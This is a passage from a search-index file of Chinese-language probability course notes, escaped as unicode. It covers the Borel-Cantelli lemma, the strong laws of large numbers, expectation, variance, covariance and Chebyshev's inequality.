<p>\u9996\u5148\u505a\u5982\u4e0b\u8f6c\u5316</p> \\[ P(A_n, i.o.) = P\\left(\\bigcap_{k=1}^{\\infty} \\bigcup_{n=k}^{\\infty} A_n\\right) = 1 \\] \\[ \\iff \\lim_{k \\to \\infty} P\\left(\\bigcup_{n=k}^{\\infty} A_n\\right) = 1 \\] \\[ \\iff P\\left(\\bigcup_{n=k}^{\\infty} A_n\\right) = 1, \\forall k \\geqslant 1 \\quad (\\text{\u5355\u8c03\u9012\u51cf\u8d8b\u4e8e1\uff0c\u53ea\u80fd\u4e3a1}) \\] \\[ \\iff P\\left(\\bigcap_{n=k}^{\\infty} A_n^c\\right) = 0, \\forall k \\geqslant 1. \\quad (\\text{de Morgan}) \\] \\[ P\\left(\\bigcap_{n=N}^{M} A_n^c\\right) = \\prod_{n=N}^{M} P(A_n^c) = \\prod_{n=N}^{M} (1 - P(A_n)) \\] \\[ \\leqslant \\prod_{n=N}^{M} e^{-P(A_n)} = e^{-\\sum_{n=N}^{M} P(A_n)} \\] \\[ \\lim_{N \\to \\infty} \\lim_{M \\to \\infty} P\\left(\\bigcap_{n=N}^{M} A_n^c\\right) = 0 \\] <p>Borel-Cantelli \u5f15\u7406\u53c8\u79f0\u4e3a\u96f6\u4e00\u5b9a\u5f8b\uff0c\u5373\u5982\u679c\u4e8b\u4ef6\u53d1\u751f\u7684\u6982\u7387\u4e4b\u548c\u6709\u9650\uff0c\u90a3\u4e48\u4e8b\u4ef6\u53d1\u751f\u7684\u6b21\u6570\u662f\u6709\u9650\u7684(\u6709\u65e0\u9650\u6b21\u4e0d\u53d1\u751f)\uff0c\u5982\u679c\u4e8b\u4ef6\u53d1\u751f\u7684\u6982\u7387\u4e4b\u548c\u65e0\u9650\uff0c\u90a3\u4e48\u4e8b\u4ef6\u53d1\u751f\u7684\u6b21\u6570\u662f\u65e0\u9650\u7684\u3002</p>"},{"location":"NOTE/Probability/Fourth/#borel","title":"Borel\u5927\u6570\u5b9a\u5f8b","text":"<p>\u5047\u8bbe \\((\\Omega, A, P)\\) \u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4\uff0c\\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u540c\u5206\u5e03\u968f\u673a\u53d8\u91cf\uff1a</p> \\[  P(\\xi_k = 1) = p, \\quad P(\\xi_k = 0) = 1 - p  \\] <p>\u8bb0 \\(S_n = \\sum_{k=1}^{n} \\xi_k\\)\uff0c\u90a3\u4e48 \\(S_n/n \\to p\\)\uff0ca.s.</p> <p>\u8bc1\u660e\uff1a\u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\)</p> \\[  P\\left(\\left|\\frac{S_n}{n} - p\\right| &gt; \\epsilon, i.o.\\right) = 0  \\] <p>\u7531 Borel-Cantelli \u5f15\u7406\uff0c\u53ea\u9700\u8bc1\u660e</p> \\[ \\sum_{n=1}^{\\infty} P\\left(\\left|\\frac{S_n}{n} - p\\right| &gt; \\epsilon\\right) &lt; \\infty \\] <p>\u7531 Markov \u4e0d\u7b49\u5f0f\uff0c</p> \\[ P\\left(\\left|\\frac{S_n}{n} - p\\right| &gt; \\epsilon\\right) \\leqslant \\frac{E|S_n - np|^4}{n^4 \\epsilon^4} \\] <p>\u5bb9\u6613\u8ba1\u7b97\u5f97\uff0c</p> \\[ E|S_n - np|^4 = np(1-p)[(1-p)^3 + (1-p)^2] + n(n-1)p^2(1-p)^2 \\] <p>\u56e0\u6b64\uff0c</p> \\[ \\sum_{n=1}^{\\infty} P\\left(\\left|\\frac{S_n}{n} - p\\right| &gt; \\epsilon\\right) \\leqslant K(\\epsilon, p) \\sum_{n=1}^{\\infty} \\frac{1}{n^2} &lt; \\infty \\]"},{"location":"NOTE/Probability/Fourth/#kolmogorov","title":"Kolmogorov \u5927\u6570\u5f8b","text":"<p>\u5047\u8bbe \\((\\Omega, A, P)\\) \u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4\uff0c\\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u540c\u5206\u5e03\u968f\u673a\u53d8\u91cf\u3002\u5982\u679c \\(E\\xi_k = \\mu\\)\uff0c\u90a3\u4e48</p> \\[ \\frac{S_n}{n} \\to \\mu, \\quad a.s. \\] <ol> <li>Kolmogorov \u5f3a\u5927\u6570\u5f8b\u63a8\u5e7f\u4e86 Borel \u5f3a\u5927\u6570\u5f8b</li> <li>Kolmogorov \u5f3a\u5927\u6570\u5f8b\u63a8\u5e7f\u4e86 Khinchine \u5927\u6570\u5f8b</li> </ol>"},{"location":"NOTE/Probability/Third/","title":"\u6570\u5b57\u7279\u5f81","text":"<p> \u7ea6 3969 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 14 \u5206\u949f</p>"},{"location":"NOTE/Probability/Third/#_2","title":"\u6570\u5b66\u671f\u671b","text":"<p>\u6570\u5b66\u671f\u671b\u7684\u5b9a\u4e49</p> <p>\u8bbe\\(X\\)\u662f\u4e00\u4e2a\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\uff0c\\(X\\)\u7684\u6570\u5b66\u671f\u671b\uff08\u6216\u79f0\u4e3a\u671f\u671b\u503c\uff09\u662f\\(X\\)\u6240\u6709\u53ef\u80fd\u53d6\u503c\u7684\u52a0\u6743\u5e73\u5747\uff0c\u8bb0\u4e3a\\(E(X)\\)\u6216\\(\\mu\\)\uff0c\u5373</p> \\[     E(X)=\\sum_{i=1}^{n}x_iP(X=x_i) \\] <p>\u5176\u4e2d\uff0c\\(x_i\\)\u662f\\(X\\)\u7684\u53ef\u80fd\u53d6\u503c\uff0c\\(P(X=x_i)\\)\u662f\\(X\\)\u53d6\u503c\u4e3a\\(x_i\\)\u7684\u6982\u7387\u3002</p> <p>\u82e5\\(X\\)\u662f\u4e00\u4e2a\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u5176\u6982\u7387\u5bc6\u5ea6\u51fd\u6570\u4e3a\\(p(x)\\)\uff0c\u5219\\(X\\)\u7684\u6570\u5b66\u671f\u671b\u4e3a</p> \\[     E(X)=\\int_{-\\infty}^{+\\infty}xp(x)dx \\] <p>\u6570\u5b66\u671f\u671b\u7684\u610f\u4e49\u5728\u4e8e\uff0c\u5f53\u968f\u673a\u53d8\u91cf\\(X\\)\u72ec\u7acb\u91cd\u590d\u5730\u8fdb\u884c\u5927\u91cf\u5b9e\u9a8c\u65f6\uff0c\\(X\\)\u7684\u5e73\u5747\u503c\u5c06\u8d8b\u4e8e\\(E(X)\\)\u3002</p> <p>\u6570\u5b66\u671f\u671b\u8ddf\u53c2\u6570\u6709\u5173\uff0c\u6709\u51e0\u4e2a\u53c2\u6570\u5c31\u8ddf\u51e0\u4e2a\u53c2\u6570\u6709\u5173\u3002</p> <p>\u5e38\u89c1\u5206\u5e03\u7684\u6570\u5b66\u671f\u671b</p> \u4e8c\u9879\u5206\u5e03\u6cca\u677e\u5206\u5e03\u51e0\u4f55\u5206\u5e03\u5747\u5300\u5206\u5e03\u6307\u6570\u5206\u5e03\u6b63\u6001\u5206\u5e03\u8d85\u51e0\u4f55\u5206\u5e03 <p>\u82e5\\(X\\sim B(n,p)\\)\uff0c\u5219</p> \\[E(X)=np\\] <p>\u82e5\\(X\\sim P(\\lambda)\\)\uff0c\u5219</p> \\[E(X)=\\lambda\\] <p>\u82e5\\(X\\sim G(p)\\)\uff0c\u5219</p> \\[E(X)=\\dfrac{1}{p}\\] <p>\u82e5\\(X\\sim U(a,b)\\)\uff0c\u5219</p> \\[E(X)=\\dfrac{a+b}{2}\\] <p>\u82e5\\(X\\sim E(\\lambda)\\)\uff0c\u5219</p> \\[E(X)=\\dfrac{1}{\\lambda}\\] <p>\u82e5\\(X\\sim N(\\mu,\\sigma^2)\\)\uff0c\u5219</p> \\[E(X)=\\mu\\] <p>\u82e5\\(X\\sim H(N,M,n)\\)\uff0c\u5219</p> \\[E(X)=n\\dfrac{M}{N}\\] <p>\u5728\u8ba1\u7b97\u6570\u5b66\u671f\u671b\u7684\u65f6\u5019\u9700\u8981\u7528\u5230\u7ea7\u6570\u7684\u77e5\u8bc6\uff0c\u9700\u8981\u8003\u8651\u5230\u51fd\u6570\u5217\u662f\u5426\u4e00\u81f4\u6536\u655b\u6765\u8fd0\u7528\u9010\u9879\u6c42\u5bfc\u6216\u8005\u6c42\u79ef\u5206\uff0c\u7ea7\u6570\u662f\u5426\u7edd\u5bf9\u6536\u655b\u6765\u5224\u65ad\u662f\u5426\u53ef\u4ee5\u7528\u7ea7\u6570\u7684\u91cd\u6392\uff1b</p> <p>Note</p> <p>\u4e3a\u4e86\u907f\u514d\u540c\u4e00\u4e2a\u968f\u673a\u53d8\u91cf\u56e0\u4e3a\u6392\u5e8f\u4e0d\u540c\u9020\u6210\u7684\u6570\u5b66\u671f\u671b\u4e0d\u540c\uff0c\u6211\u4eec\u8981\u6c42</p> \\[     \\sum_{i=1}^{\\infty}x_ip_i \\] <p>\u662f\u7edd\u5bf9\u6536\u655b\u7684(\\(\\sum_{i=1}^{\\infty}\\lvert x_ip_i \\rvert\\)\u6536\u655b)\uff0c\u5373\u8be5\u7ea7\u6570\u7684\u4efb\u610f\u4e00\u4e2a\u91cd\u6392\u90fd\u6536\u655b\u4e8e\u540c\u4e00\u4e2a\u503c\u3002 \u5982\u679c\u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u5219\u8981\u6c42</p> \\[     \\int_{-\\infty}^{+\\infty}\\lvert xp(x) \\rvert dx \\] <p>\u53ef\u79ef\u3002</p>"},{"location":"NOTE/Probability/Third/#_3","title":"\u6570\u5b66\u671f\u671b\u7684\u6027\u8d28","text":"<ul> <li>\u6709\u754c: </li> </ul> \\[     a \\leqslant X \\leqslant b \\Rightarrow a \\leqslant E(X) \\leqslant b \\] <p>\u5373\u6570\u5b66\u671f\u671b\u4e0d\u4f1a\u8d85\u8fc7\u968f\u673a\u53d8\u91cf\u7684\u53d6\u503c\u8303\u56f4\u3002</p> <ul> <li>\u7ebf\u6027\u8fd0\u7b97</li> </ul> \\[     E(a+bY)=a+bE(Y) \\] <p>\u4ece\u6c42\u548c\u548c\u79ef\u5206\u7684\u6027\u8d28\u53ef\u4ee5\u5f97\u5230\u3002</p> <ul> <li>\u52a0\u6cd5\u5b9a\u7406</li> </ul> <p>\u7531\u968f\u673a\u53d8\u91cf\u52a0\u6cd5\u7684\u5206\u5e03</p> <p>\u5047\u8bbe \\((X, Y) \\sim p(x, y)\\)\uff0c\u90a3\u4e48 \\(Z = X + Y\\) \u5177\u6709\u5bc6\u5ea6</p> \\[ p_Z(z) = \\int_{-\\infty}^{\\infty} p(x, z - x) dx \\] <p>\u6240\u4ee5</p> \\[ E(X + Y) = \\int_{-\\infty}^{\\infty} z p_Z(z) dz \\] \\[\\begin{align*} E(X + Y) &amp;= \\int_{-\\infty}^{\\infty} z p_Z(z) dz \\\\ &amp;= \\int_{-\\infty}^{\\infty} z \\int_{-\\infty}^{\\infty} p(x, z - x) dx dz\\\\ &amp;= \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} (x + y) p(x, y) dx dy\\\\ &amp;= \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} x p(x, y) dx dy + \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} y p(x, y) dx dy\\\\ &amp;= \\int_{-\\infty}^{\\infty} x p_X(x) dx + \\int_{-\\infty}^{\\infty} y p_Y(y) dy\\\\ &amp;= E X + E Y \\end{align*}\\] <p>\u63a8\u5e7f\uff1a</p> \\[ E(a_1 X_1 + a_2 X_2 + \\cdots + a_m X_m) = a_1 E X_1 + a_2 E X_2 + \\cdots + a_m E X_m \\] <p>\u5e94\u7528</p> <p>\u5047\u8bbe \\(X_1, X_2, \\dots, X_m\\) \u662f\u975e\u8d1f\u3001\u72ec\u7acb\u540c\u5206\u5e03\u7684\u968f\u673a\u53d8\u91cf\uff0c\u6c42</p> \\[ E \\frac{X_1 + \\cdots + X_k}{X_1 + \\cdots + X_m} \\] \\[ E \\frac{X_1}{X_1 + \\cdots + X_m} = \\cdots = E \\frac{X_m}{X_1 + \\cdots + X_m} \\] <p>\u5b58\u5728\uff0c\u6709\u9650\u3002\u53e6\u5916\uff0c</p> \\[\\begin{align*} 1 &amp;= E \\frac{X_1 + \\cdots + X_m}{X_1 + \\cdots + X_m}\\\\ &amp;= E \\frac{X_1}{X_1 + \\cdots + X_m} + \\cdots + E \\frac{X_m}{X_1 + \\cdots + X_m}\\\\ &amp;= m \\cdot E \\frac{X_1}{X_1 + \\cdots + X_m}\\\\ \\end{align*}\\] <p>\u6240\u4ee5\uff0c</p> \\[ E \\frac{X_1}{X_1 + \\cdots + X_m} = \\frac{1}{m} \\Rightarrow E \\frac{X_1 + \\cdots + X_k}{X_1 + \\cdots + X_m} = \\frac{k}{m} \\] <p>\u52a0\u6cd5\u5b9a\u7406\u8ba1\u7b97\u671f\u671b</p> <p>\u4ee4 \\( N \\) \u662f\u4ea7\u54c1\u603b\u6570\uff0c\\( M \\) \u662f\u6b21\u54c1\u6570\uff0c\u73b0\u62bd\u53d6 \\( n \\) \u4ef6\u4ea7\u54c1\u68c0\u67e5\uff0c\u5176\u4e2d \\( n \\leq M \\)\u3002 \u4ee4 \\( S_n \\) \u8868\u793a \\( n \\) \u4ef6\u62bd\u67e5\u4ea7\u54c1\u4e2d\u6b21\u54c1\u7684\u4e2a\u6570\u3002\u90a3\u4e48</p> \\[ P(S_n = k) = \\frac{\\binom{M}{k} \\binom{N - M}{n - k}}{\\binom{N}{n}} \\] <p>\u4e0b\u9762\u7ed9\u51fa \\( X \\) \u7684\u53e6\u4e00\u79cd\u8868\u793a\uff1a\u4ee4 \\( \\xi_i \\) \u8868\u793a\u7b2c \\( i \\)-\u6b21\u62bd\u68c0\u65f6\u6b21\u54c1\u4e2a\u6570\uff0c</p> \\[ X_i =  \\begin{cases} 1, &amp; p \\\\ 0, &amp; 1 - p \\end{cases} \\quad i = 1, 2, \\dots, n\uff0c\\operatorname{\u540c\u5206\u5e03\uff0c\u4f46\u662f\u4e0d\u72ec\u7acb} \\] <p>\u90a3\u4e48</p> \\[ S_n = \\sum_{i=1}^n X_i  \\] \\[ E S_n = \\sum_{i=1}^n E X_i = n \\frac{M}{N} \\] <p>Key-point</p> <p>\\(X_i\\)\u6307\u7b2c\\(i\\)\u6b21\u62bd\u5230\u7684\u662f\u4e0d\u662f\u6b21\u54c1\uff0c\u8fd9\u76f8\u5f53\u4e8e\u62bd\u5956\uff0c\u65e0\u8bba\u62bd\u5956\u987a\u5e8f\u662f\u4ec0\u4e48\uff0c\u6bcf\u4e2a\u4eba\u62bd\u5230\u7684\u6982\u7387\u90fd\u662f\u4e00\u6837\u7684\uff0c\u6240\u4ee5\\(X_i\\)\u662f\u540c\u5206\u5e03\u7684\uff0c\u4f46\u662f\u4e0d\u72ec\u7acb\u3002</p> <p>\u5982\u679c\u968f\u673a\u53d8\u91cf\\(X\\)\u548c\\(Y\\)\u72ec\u7acb\uff0c\u90a3\u4e48\\(E(XY)=E(X)E(Y)\\)\uff0c\u5982\u679c\\(E(XY)=E(X)E(Y)\\)\uff0c\u5e76\u4e0d\u4e00\u5b9a\u6709\\(X\\)\u548c\\(Y\\)\u72ec\u7acb\u3002</p>"},{"location":"NOTE/Probability/Third/#_4","title":"\u968f\u673a\u53d8\u91cf\u51fd\u6570\u7684\u6570\u5b66\u671f\u671b","text":"<p>\u968f\u673a\u53d8\u91cf\u51fd\u6570\u7684\u6570\u5b66\u671f\u671b\u53ef\u4ee5\u7528\u4ee5\u4e0b\u516c\u5f0f\u6765\u5b9a\u4e49\uff1a</p> <p>\\((\\Omega,\\mathcal{F},P)\\)\u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4, \\(X:\\Omega \\to \\mathbf{R}\\)\u662f\u4e00\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\\( g(X) \\) \u662f \\( X \\) \u7684\u4e00\u4e2a\u5b9e\u503c\u53ef\u6d4b\u51fd\u6570\uff0c\u90a3\u4e48 \\( g(X) \\) \u7684\u6570\u5b66\u671f\u671b \\( E[g(X)] \\) \u5b9a\u4e49\u4e3a\uff1a</p> \u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf <p>\u671f\u671b \\( E[g(X)] \\) \u4e3a\uff1a</p> \\[  E[g(X)] = \\sum_{x} g(x) P(X = x) \\] <p>\u5176\u4e2d \\( P(X = x) \\) \u662f \\( X \\) \u53d6\u503c\u4e3a \\( x \\) \u7684\u6982\u7387\u3002</p> <p>\u671f\u671b \\( E[g(X)] \\) \u4e3a\uff1a</p> \\[  E[g(X)] = \\int_{-\\infty}^{\\infty} g(x) f_X(x) \\, dx \\] <p>\u5176\u4e2d \\( f_X(x) \\) \u662f \\( X \\) \u7684\u6982\u7387\u5bc6\u5ea6\u51fd\u6570\u3002</p> <p>\u5982\u679c\\(X\\)\u6709\u5206\u5e03\u51fd\u6570\uff0c\u90a3\u4e48</p> \\[  E[g(X)] = \\int_{-\\infty}^{\\infty} g(x) f_X(x) \\, dx= \\int_{-\\infty}^{\\infty} g(x) dF_X(x) \\]"},{"location":"NOTE/Probability/Third/#_5","title":"\u65b9\u5dee","text":"<p>Definition</p> <p>\u65b9\u5dee\u662f\u7528\u6765\u8861\u91cf\u968f\u673a\u53d8\u91cf\u504f\u79bb\u5176\u5747\u503c\u7684\u7a0b\u5ea6\u7684\u6307\u6807\u3002\u8bbe \\( X \\) \u662f\u4e00\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u5176\u6570\u5b66\u671f\u671b\u4e3a \\( E(X) \\)\uff0c\u5219 \\( X \\) \u7684\u65b9\u5dee\u8bb0\u4f5c \\( \\operatorname{Var}(X) \\) \u6216 \\( \\sigma^2 \\)\uff0c\u5b9a\u4e49\u5982\u4e0b\uff1a</p> \\[ \\operatorname{Var}(X) = E[(X - E(X))^2] \\] <p>\u65b9\u5dee\u5b9a\u4e49\u7684\u662f\u968f\u673a\u53d8\u91cf \\( X \\) \u4e0e\u5176\u5747\u503c \\( E(X) \\) \u504f\u5dee\u7684\u5e73\u65b9\u7684\u671f\u671b\u3002\u5b83\u53cd\u6620\u4e86 \\( X \\) \u53d6\u503c\u7684\u5206\u6563\u7a0b\u5ea6\u3002\u65b9\u5dee\u8d8a\u5927\uff0c\u8bf4\u660e \\( X \\) \u7684\u53d6\u503c\u79bb\u5747\u503c\u8d8a\u8fdc\uff0c\u5206\u6563\u6027\u8d8a\u5927\uff1b\u65b9\u5dee\u8d8a\u5c0f\uff0c\u8bf4\u660e \\( X \\) \u7684\u53d6\u503c\u96c6\u4e2d\u5728\u5747\u503c\u9644\u8fd1\uff0c\u5206\u6563\u6027\u8f83\u5c0f\u3002</p> <p>\\(\\sqrt{\\operatorname{Var}(X)}\\) \u79f0\u4e3a\u968f\u673a\u53d8\u91cf \\( X \\) \u7684\u6807\u51c6\u5dee\uff0c\u8bb0\u4f5c\\(\\sigma\\)</p> <p>\u5e38\u89c1\u5206\u5e03\u7684\u65b9\u5dee</p> \u4e8c\u9879\u5206\u5e03\u6cca\u677e\u5206\u5e03\u51e0\u4f55\u5206\u5e03\u5747\u5300\u5206\u5e03\u6307\u6570\u5206\u5e03\u6b63\u6001\u5206\u5e03\u8d85\u51e0\u4f55\u5206\u5e03 <p>\u82e5\\(X\\sim B(n,p)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=np(1-p)\\] <p>\u82e5\\(X\\sim P(\\lambda)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=\\lambda\\] <p>\u5bf9\u4e8e\u6cca\u677e\u5206\u5e03\uff0c\u65b9\u5dee\u7b49\u4e8e\u6570\u5b66\u671f\u671b\uff0c\u8fd9\u662f\u6cca\u677e\u5206\u5e03\u7684\u4e00\u4e2a\u7279\u6027\u3002</p> <p>\u82e5\\(X\\sim G(p)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=\\dfrac{1-p}{p^2}\\] <p>\u82e5\\(X\\sim U(a,b)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=\\dfrac{(b-a)^2}{12}\\] <p>\u82e5\\(X\\sim E(\\lambda)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=\\dfrac{1}{\\lambda^2}\\] <p>\u82e5\\(X\\sim N(\\mu,\\sigma^2)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=\\sigma^2\\] <p>\u82e5\\(X\\sim H(N,M,n)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=n\\dfrac{M}{N}\\dfrac{N-M}{N}\\dfrac{N-n}{N-1}\\]"},{"location":"NOTE/Probability/Third/#_6","title":"\u8ba1\u7b97\u516c\u5f0f","text":"<p>\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u516c\u5f0f\u8ba1\u7b97\u65b9\u5dee\uff1a</p> \\[ \\operatorname{Var}(X) = E(X^2) - [E(X)]^2 \\] <p>Proof</p> <p>\u65b9\u5dee\u7684\u5b9a\u4e49\u662f\uff1a</p> \\[ \\operatorname{Var}(X) = E[(X - E(X))^2] \\] <p>\u5c55\u5f00\u62ec\u53f7\uff0c\u5f97\u5230\uff1a</p> \\[ \\operatorname{Var}(X) = E[X^2 - 2X \\cdot E(X) + (E(X))^2] \\] <p>\u5229\u7528\u671f\u671b\u7684\u7ebf\u6027\u6027\u8d28\uff0c\u5f97\u5230\uff1a</p> \\[ \\operatorname{Var}(X) = E(X^2) - 2 E(X) \\cdot E(X) + (E(X))^2 \\] <p>\u7531\u4e8e \\( E(X) \\) \u662f\u4e00\u4e2a\u5e38\u6570\uff0c\u6240\u4ee5 \\( E(X) \\cdot E(X) = [E(X)]^2 \\)\uff0c\u56e0\u6b64\u53ef\u4ee5\u7b80\u5316\u4e3a\uff1a</p> \\[ \\operatorname{Var}(X) = E(X^2) - [E(X)]^2 \\] <p>\u8be5\u516c\u5f0f\u8868\u660e\uff0c\u8ba1\u7b97\u65b9\u5dee\u65f6\u53ef\u4ee5\u901a\u8fc7\u6c42 \\( X \\) \u7684\u5e73\u65b9\u7684\u671f\u671b \\( E(X^2) \\) \u51cf\u53bb \\( X \\) \u7684\u671f\u671b\u7684\u5e73\u65b9 \\( [E(X)]^2 \\) \u6765\u5f97\u5230\u3002\u8fd9\u79cd\u5f62\u5f0f\u901a\u5e38\u66f4\u65b9\u4fbf\uff0c\u5c24\u5176\u662f\u5728 \\( E(X) \\) \u548c \\( E(X^2) \\) \u5bb9\u6613\u6c42\u5f97\u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u7b80\u5316\u8ba1\u7b97\u3002</p> <p>\u5176\u4e2d\uff1a</p> <ul> <li> <p>\\( E(X^2) \\) \u662f \\( X \\) \u7684\u5e73\u65b9\u7684\u671f\u671b\uff0c\u5373\u4e8c\u9636\u77e9\u3002</p> </li> <li> <p>\\( [E(X)]^2 \\) \u662f \\( X \\) \u7684\u671f\u671b\u7684\u5e73\u65b9\u3002</p> </li> </ul>"},{"location":"NOTE/Probability/Third/#_7","title":"\u65b9\u5dee\u7684\u6027\u8d28","text":"<ul> <li>\u975e\u8d1f\u6027\uff1a</li> </ul> <p>\u65b9\u5dee\u603b\u662f\u975e\u8d1f\u7684\uff0c\u5373 \\( \\operatorname{Var}(X) \\geq 0 \\)\u3002</p> <ul> <li>\u5e73\u79fb\u4e0d\u53d8\u6027</li> </ul> <p>\u82e5 \\( c \\) \u4e3a\u5e38\u6570\uff0c\u5219 \\( \\operatorname{Var}(X + c) = \\operatorname{Var}(X) \\)\u3002</p> <ul> <li>\u65b9\u5dee\u7684\u7ebf\u6027\u53d8\u6362</li> </ul> <p>\u5bf9\u4e8e\u72ec\u7acb\u968f\u673a\u53d8\u91cf \\( Y \\) \uff0c\u4ee5\u53ca\u5e38\u6570 \\( a \\) \u548c \\( b \\)\uff0c\u6709</p> \\[    \\operatorname{Var}(a + bY) = b^2 \\operatorname{Var}(Y) \\] <ul> <li>\u65b9\u5dee\u7684\u52a0\u6cd5</li> </ul> <p>\u5bf9\u4e8e\u72ec\u7acb\u968f\u673a\u53d8\u91cf \\( X \\) \u548c \\( Y \\)\uff0c\u6709</p> \\[    \\operatorname{Var}(X + Y) = \\operatorname{Var}(X) + \\operatorname{Var}(Y)+2\\operatorname{Cov}(X,Y) \\] <p>\u5176\u4e2d\uff0c\\( \\operatorname{Cov}(X,Y) \\) \u662f \\( X \\) \u548c \\( Y \\) \u7684\u534f\u65b9\u5dee\uff0c\u5373</p> \\[    \\operatorname{Cov}(X,Y) = E[(X - E(X))(Y - E(Y))]=E(XY)-E(X)E(Y) \\] <p>\u5982\u679c\\(X,Y\\)\u76f8\u4e92\u72ec\u7acb\uff0c\u5219\\(\\operatorname{Cov}(X,Y)=0\\)\uff0c\u6240\u4ee5</p> \\[    \\operatorname{Var}(X + Y) = \\operatorname{Var}(X) + \\operatorname{Var}(Y) \\] <p>\u53ef\u63a8\u5e7f\u5230\u591a\u4e2a\u72ec\u7acb\u968f\u673a\u53d8\u91cf\u7684\u60c5\u51b5\u3002</p>"},{"location":"NOTE/Probability/Third/#_8","title":"\u9009\u62e9\u5e73\u5747\u503c\u7684\u539f\u56e0","text":"<p>\u5728\u8ba1\u7b97\u65b9\u5dee\u65f6\uff0c\u6211\u4eec\u901a\u5e38\u4f7f\u7528\u5e73\u5747\u503c\u4f5c\u4e3a\u4e2d\u5fc3\u70b9\uff0c\u800c\u4e0d\u662f\u5176\u4ed6\u503c\u3002\u8fd9\u662f\u56e0\u4e3a\u5e73\u5747\u503c\u662f\u4f7f\u65b9\u5dee\u6700\u5c0f\u7684\u70b9\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5bf9\u4e8e\u4efb\u4f55\u5b9e\u6570 \\( c \\)\uff0c\u6709</p> \\[    \\operatorname{Var'}(X) = E[(X - c)^2] \\geqslant E[(X - E(X))^2] = \\operatorname{Var}(X) \\] <p>Proof</p> \\[\\begin{align*}  \\operatorname{Var}(X)&amp;=E(X-EX)^2\\\\     &amp;=E(X-c-(EX-c))^2\\\\     &amp;=E(X-c)^2-2E(X-c)(EX-c)+E(EX-c)^2\\\\     &amp;=E(X-c)^2-(EX-c)^2 \\leqslant E(X-c)^2 \\end{align*}\\]"},{"location":"NOTE/Probability/Third/#chebyschev","title":"\u5207\u6bd4\u96ea\u592b\u4e0d\u7b49\u5f0f(Chebyschev)","text":"<p>\u8bbe \\((\\Omega, \\mathcal{A}, P)\\) \u662f\u6982\u7387\u7a7a\u95f4\uff0c \\(X : \\Omega \\rightarrow \\mathbb{R}\\) \u662f\u968f\u673a\u53d8\u91cf\uff0c\u90a3\u4e48\u5bf9\u4efb\u610f \\(\\varepsilon &gt; 0\\)\uff0c</p> \\[ P(|X - EX| &gt; \\varepsilon) \\leqslant \\frac{\\operatorname{Var}(X)}{\\varepsilon^2} \\] <p>Note</p> <p>\u5207\u6bd4\u96ea\u592b\u4e0d\u7b49\u5f0f\u7ed9\u51fa\u4e86\u968f\u673a\u53d8\u91cf\u504f\u79bb\u5176\u5747\u503c\u5927\u4e8e\u67d0\u4e2a\u7cbe\u5ea6\u7684\u6982\u7387\u7684\u4e0a\u754c\u3002</p> <p>\u4ec5\u53d6 \\(X \\sim p(x)\\) \u52a0\u4ee5\u8bc1\u660e\u3002</p> \\[ P(|X - EX| &gt; \\varepsilon) = \\int_{x: |x - EX| &gt; \\varepsilon} p(x) \\, dx \\] \\[ \\leqslant \\int_{x: |x - EX| &gt; \\varepsilon} \\frac{|x - EX|^2}{\\varepsilon^2} p(x) \\, dx \\] \\[ \\leqslant \\frac{1}{\\varepsilon^2} \\int_{-\\infty}^{\\infty} |x - EX|^2 p(x) \\, dx \\] \\[ = \\frac{\\operatorname{Var}(X)}{\\varepsilon^2} \\] <p>\u63a8\u5e7f</p> <p>\u82e5 \\(f\\) \u662f\u5355\u8c03\u4e0d\u51cf\u4e25\u683c\u6b63\u51fd\u6570\uff0c\u90a3\u4e48</p> \\[ P(X &gt; \\varepsilon) \\leqslant \\frac{E f(X)}{f(\\varepsilon)} \\] <p>\u4e8b\u5b9e\u4e0a\uff0c\u4f7f\u7528\u4e86Markov\u4e0d\u7b49\u5f0f:</p> \\[ P(X &gt; \\varepsilon) \\leqslant P(f(X) \\geqslant f(\\varepsilon)) \\leqslant \\frac{E f(X)}{f(\\varepsilon)} \\]"},{"location":"NOTE/Probability/Third/#_9","title":"\u534f\u65b9\u5dee\u77e9\u9635","text":""},{"location":"NOTE/Probability/Third/#_10","title":"\u5747\u503c\u5411\u91cf","text":"<p>\u5bf9\u4e8e\u4e00\u4e2a\u968f\u673a\u5411\u91cf \\( X = (X_1, X_2, \\dots, X_n) \\)\uff0c\u5982\u679c\\(X_i\\)\u7684\u6570\u5b66\u671f\u671b\u5b58\u5728\uff1b\u5176\u5747\u503c\u5411\u91cf \\( \\mu \\) \u5b9a\u4e49\u4e3a\uff1a</p> \\[ \\mu = E(X) = (E(X_1), E(X_2), \\dots, E(X_n)) 